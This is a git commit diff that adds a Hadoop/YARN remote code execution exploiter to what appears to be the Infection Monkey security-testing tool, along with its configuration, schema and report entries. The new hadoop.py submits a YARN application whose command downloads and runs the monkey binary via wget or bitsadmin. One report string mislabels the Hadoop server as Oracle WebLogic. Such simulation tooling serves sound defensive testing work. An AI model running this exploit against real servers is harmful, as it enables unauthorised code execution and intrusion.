forked from p15670423/monkey
Merge pull request #182 from VakarisZ/hadoop_rce
Hadoop with web_rce framework
This commit is contained in:
commit
62f6d7748b
|
@ -7,7 +7,7 @@ from abc import ABCMeta
|
||||||
from itertools import product
|
from itertools import product
|
||||||
|
|
||||||
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
|
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
|
||||||
SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter
|
SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter, HadoopExploiter
|
||||||
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \
|
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \
|
||||||
MSSQLFinger
|
MSSQLFinger
|
||||||
|
|
||||||
|
@ -149,7 +149,7 @@ class Configuration(object):
|
||||||
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger]
|
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger]
|
||||||
exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits
|
exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits
|
||||||
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
|
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
|
||||||
ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter # multi
|
ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter, HadoopExploiter # multi
|
||||||
]
|
]
|
||||||
|
|
||||||
# how many victims to look for in a single scan iteration
|
# how many victims to look for in a single scan iteration
|
||||||
|
|
|
@ -38,7 +38,8 @@
|
||||||
"ElasticGroovyExploiter",
|
"ElasticGroovyExploiter",
|
||||||
"SambaCryExploiter",
|
"SambaCryExploiter",
|
||||||
"Struts2Exploiter",
|
"Struts2Exploiter",
|
||||||
"WebLogicExploiter"
|
"WebLogicExploiter",
|
||||||
|
"HadoopExploiter"
|
||||||
],
|
],
|
||||||
"finger_classes": [
|
"finger_classes": [
|
||||||
"SSHFinger",
|
"SSHFinger",
|
||||||
|
|
|
@ -43,3 +43,4 @@ from sambacry import SambaCryExploiter
|
||||||
from elasticgroovy import ElasticGroovyExploiter
|
from elasticgroovy import ElasticGroovyExploiter
|
||||||
from struts2 import Struts2Exploiter
|
from struts2 import Struts2Exploiter
|
||||||
from weblogic import WebLogicExploiter
|
from weblogic import WebLogicExploiter
|
||||||
|
from hadoop import HadoopExploiter
|
||||||
|
|
|
@ -0,0 +1,100 @@
|
||||||
|
"""
|
||||||
|
Remote code execution on HADOOP server with YARN and default settings
|
||||||
|
Implementation is based on code from https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
|
||||||
|
"""
|
||||||
|
|
||||||
|
import requests
|
||||||
|
import json
|
||||||
|
import random
|
||||||
|
import string
|
||||||
|
import logging
|
||||||
|
from exploit.web_rce import WebRCE
|
||||||
|
from tools import HTTPTools, build_monkey_commandline, get_monkey_depth
|
||||||
|
import posixpath
|
||||||
|
from model import MONKEY_ARG, ID_STRING
|
||||||
|
|
||||||
|
__author__ = 'VakarisZ'
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class HadoopExploiter(WebRCE):
|
||||||
|
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||||
|
HADOOP_PORTS = [["8088", False]]
|
||||||
|
|
||||||
|
# We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes
|
||||||
|
# to download monkey at the same time
|
||||||
|
LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
|
||||||
|
"&& wget -O %(monkey_path)s %(http_path)s " \
|
||||||
|
"; chmod +x %(monkey_path)s " \
|
||||||
|
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||||
|
WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \
|
||||||
|
" Update /download /priority high %(http_path)s %(monkey_path)s " \
|
||||||
|
"& %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||||
|
# How long we have our http server open for downloads in seconds
|
||||||
|
DOWNLOAD_TIMEOUT = 60
|
||||||
|
# Random string's length that's used for creating unique app name
|
||||||
|
RAN_STR_LEN = 6
|
||||||
|
|
||||||
|
def __init__(self, host):
|
||||||
|
super(HadoopExploiter, self).__init__(host)
|
||||||
|
|
||||||
|
def exploit_host(self):
|
||||||
|
# Try to get exploitable url
|
||||||
|
urls = self.build_potential_urls(self.HADOOP_PORTS)
|
||||||
|
self.add_vulnerable_urls(urls, True)
|
||||||
|
if not self.vulnerable_urls:
|
||||||
|
return False
|
||||||
|
paths = self.get_monkey_paths()
|
||||||
|
if not paths:
|
||||||
|
return False
|
||||||
|
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path'])
|
||||||
|
command = self.build_command(paths['dest_path'], http_path)
|
||||||
|
if not self.exploit(self.vulnerable_urls[0], command):
|
||||||
|
return False
|
||||||
|
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
||||||
|
http_thread.stop()
|
||||||
|
return True
|
||||||
|
|
||||||
|
def exploit(self, url, command):
|
||||||
|
# Get the newly created application id
|
||||||
|
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
|
||||||
|
resp = json.loads(resp.content)
|
||||||
|
app_id = resp['application-id']
|
||||||
|
# Create a random name for our application in YARN
|
||||||
|
rand_name = ID_STRING + "".join([random.choice(string.ascii_lowercase) for _ in xrange(self.RAN_STR_LEN)])
|
||||||
|
payload = self.build_payload(app_id, rand_name, command)
|
||||||
|
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload)
|
||||||
|
return resp.status_code == 202
|
||||||
|
|
||||||
|
def check_if_exploitable(self, url):
|
||||||
|
try:
|
||||||
|
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
|
||||||
|
except requests.ConnectionError:
|
||||||
|
return False
|
||||||
|
return resp.status_code == 200
|
||||||
|
|
||||||
|
def build_command(self, path, http_path):
|
||||||
|
# Build command to execute
|
||||||
|
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
|
if 'linux' in self.host.os['type']:
|
||||||
|
base_command = self.LINUX_COMMAND
|
||||||
|
else:
|
||||||
|
base_command = self.WINDOWS_COMMAND
|
||||||
|
|
||||||
|
return base_command % {"monkey_path": path, "http_path": http_path,
|
||||||
|
"monkey_type": MONKEY_ARG, "parameters": monkey_cmd}
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def build_payload(app_id, name, command):
|
||||||
|
payload = {
|
||||||
|
"application-id": app_id,
|
||||||
|
"application-name": name,
|
||||||
|
"am-container-spec": {
|
||||||
|
"commands": {
|
||||||
|
"command": command,
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"application-type": "YARN"
|
||||||
|
}
|
||||||
|
return payload
|
|
@ -29,7 +29,6 @@ class MSSQLFinger(HostFinger):
|
||||||
Discovered server information written to the Host info struct.
|
Discovered server information written to the Host info struct.
|
||||||
True if success, False otherwise.
|
True if success, False otherwise.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
assert isinstance(host, VictimHost)
|
assert isinstance(host, VictimHost)
|
||||||
|
|
||||||
# Create a UDP socket and sets a timeout
|
# Create a UDP socket and sets a timeout
|
||||||
|
|
|
@ -93,6 +93,13 @@ SCHEMA = {
|
||||||
"WebLogicExploiter"
|
"WebLogicExploiter"
|
||||||
],
|
],
|
||||||
"title": "Oracle Web Logic Exploiter"
|
"title": "Oracle Web Logic Exploiter"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"HadoopExploiter"
|
||||||
|
],
|
||||||
|
"title": "Hadoop/Yarn Exploiter"
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
},
|
},
|
||||||
|
@ -633,7 +640,8 @@ SCHEMA = {
|
||||||
"SambaCryExploiter",
|
"SambaCryExploiter",
|
||||||
"ElasticGroovyExploiter",
|
"ElasticGroovyExploiter",
|
||||||
"Struts2Exploiter",
|
"Struts2Exploiter",
|
||||||
"WebLogicExploiter"
|
"WebLogicExploiter",
|
||||||
|
"HadoopExploiter"
|
||||||
],
|
],
|
||||||
"description":
|
"description":
|
||||||
"Determines which exploits to use. " + WARNING_SIGN
|
"Determines which exploits to use. " + WARNING_SIGN
|
||||||
|
|
|
@ -31,7 +31,8 @@ class ReportService:
|
||||||
'Ms08_067_Exploiter': 'Conficker Exploiter',
|
'Ms08_067_Exploiter': 'Conficker Exploiter',
|
||||||
'ShellShockExploiter': 'ShellShock Exploiter',
|
'ShellShockExploiter': 'ShellShock Exploiter',
|
||||||
'Struts2Exploiter': 'Struts2 Exploiter',
|
'Struts2Exploiter': 'Struts2 Exploiter',
|
||||||
'WebLogicExploiter': 'Oracle WebLogic exploiter'
|
'WebLogicExploiter': 'Oracle WebLogic Exploiter',
|
||||||
|
'HadoopExploiter': 'Hadoop/Yarn Exploiter'
|
||||||
}
|
}
|
||||||
|
|
||||||
class ISSUES_DICT(Enum):
|
class ISSUES_DICT(Enum):
|
||||||
|
@ -44,7 +45,8 @@ class ReportService:
|
||||||
AZURE = 6
|
AZURE = 6
|
||||||
STOLEN_SSH_KEYS = 7
|
STOLEN_SSH_KEYS = 7
|
||||||
STRUTS2 = 8
|
STRUTS2 = 8
|
||||||
WEBLOGIC = 9
|
WEBLOGIC = 9,
|
||||||
|
HADOOP = 10
|
||||||
|
|
||||||
class WARNINGS_DICT(Enum):
|
class WARNINGS_DICT(Enum):
|
||||||
CROSS_SEGMENT = 0
|
CROSS_SEGMENT = 0
|
||||||
|
@ -306,6 +308,12 @@ class ReportService:
|
||||||
processed_exploit['type'] = 'weblogic'
|
processed_exploit['type'] = 'weblogic'
|
||||||
return processed_exploit
|
return processed_exploit
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def process_hadoop_exploit(exploit):
|
||||||
|
processed_exploit = ReportService.process_general_exploit(exploit)
|
||||||
|
processed_exploit['type'] = 'hadoop'
|
||||||
|
return processed_exploit
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def process_exploit(exploit):
|
def process_exploit(exploit):
|
||||||
exploiter_type = exploit['data']['exploiter']
|
exploiter_type = exploit['data']['exploiter']
|
||||||
|
@ -319,7 +327,8 @@ class ReportService:
|
||||||
'Ms08_067_Exploiter': ReportService.process_conficker_exploit,
|
'Ms08_067_Exploiter': ReportService.process_conficker_exploit,
|
||||||
'ShellShockExploiter': ReportService.process_shellshock_exploit,
|
'ShellShockExploiter': ReportService.process_shellshock_exploit,
|
||||||
'Struts2Exploiter': ReportService.process_struts2_exploit,
|
'Struts2Exploiter': ReportService.process_struts2_exploit,
|
||||||
'WebLogicExploiter': ReportService.process_weblogic_exploit
|
'WebLogicExploiter': ReportService.process_weblogic_exploit,
|
||||||
|
'HadoopExploiter': ReportService.process_hadoop_exploit
|
||||||
}
|
}
|
||||||
|
|
||||||
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
|
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
|
||||||
|
@ -441,6 +450,8 @@ class ReportService:
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True
|
||||||
elif issue['type'] == 'weblogic':
|
elif issue['type'] == 'weblogic':
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True
|
||||||
|
elif issue['type'] == 'hadoop':
|
||||||
|
issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True
|
||||||
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
|
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
|
||||||
issue['username'] in config_users or issue['type'] == 'ssh':
|
issue['username'] in config_users or issue['type'] == 'ssh':
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
|
||||||
|
|
|
@ -25,7 +25,8 @@ class ReportPageComponent extends AuthComponent {
|
||||||
AZURE: 6,
|
AZURE: 6,
|
||||||
STOLEN_SSH_KEYS: 7,
|
STOLEN_SSH_KEYS: 7,
|
||||||
STRUTS2: 8,
|
STRUTS2: 8,
|
||||||
WEBLOGIC: 9
|
WEBLOGIC: 9,
|
||||||
|
HADOOP: 10
|
||||||
};
|
};
|
||||||
|
|
||||||
Warning =
|
Warning =
|
||||||
|
@ -331,6 +332,8 @@ class ReportPageComponent extends AuthComponent {
|
||||||
<li>Oracle WebLogic servers are vulnerable to remote code execution. (<a
|
<li>Oracle WebLogic servers are vulnerable to remote code execution. (<a
|
||||||
href="https://nvd.nist.gov/vuln/detail/CVE-2017-10271">
|
href="https://nvd.nist.gov/vuln/detail/CVE-2017-10271">
|
||||||
CVE-2017-10271</a>)</li> : null }
|
CVE-2017-10271</a>)</li> : null }
|
||||||
|
{this.state.report.overview.issues[this.Issue.HADOOP] ?
|
||||||
|
<li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null }
|
||||||
</ul>
|
</ul>
|
||||||
</div>
|
</div>
|
||||||
:
|
:
|
||||||
|
@ -716,6 +719,22 @@ class ReportPageComponent extends AuthComponent {
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
generateHadoopIssue(issue) {
|
||||||
|
return (
|
||||||
|
<li>
|
||||||
|
Run Hadoop in secure mode (<a href="http://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SecureMode.html">
|
||||||
|
add Kerberos authentication</a>).
|
||||||
|
<CollapsibleWellComponent>
|
||||||
|
Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span
|
||||||
|
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span
|
||||||
|
className="label label-danger">remote code execution</span> attack.
|
||||||
|
<br/>
|
||||||
|
The attack was made possible due to default Hadoop/Yarn configuration being insecure.
|
||||||
|
</CollapsibleWellComponent>
|
||||||
|
</li>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
generateIssue = (issue) => {
|
generateIssue = (issue) => {
|
||||||
|
@ -769,6 +788,9 @@ class ReportPageComponent extends AuthComponent {
|
||||||
case 'weblogic':
|
case 'weblogic':
|
||||||
data = this.generateWebLogicIssue(issue);
|
data = this.generateWebLogicIssue(issue);
|
||||||
break;
|
break;
|
||||||
|
case 'hadoop':
|
||||||
|
data = this.generateHadoopIssue(issue);
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
return data;
|
return data;
|
||||||
};
|
};
|
||||||
|
|
Loading…
Reference in New Issue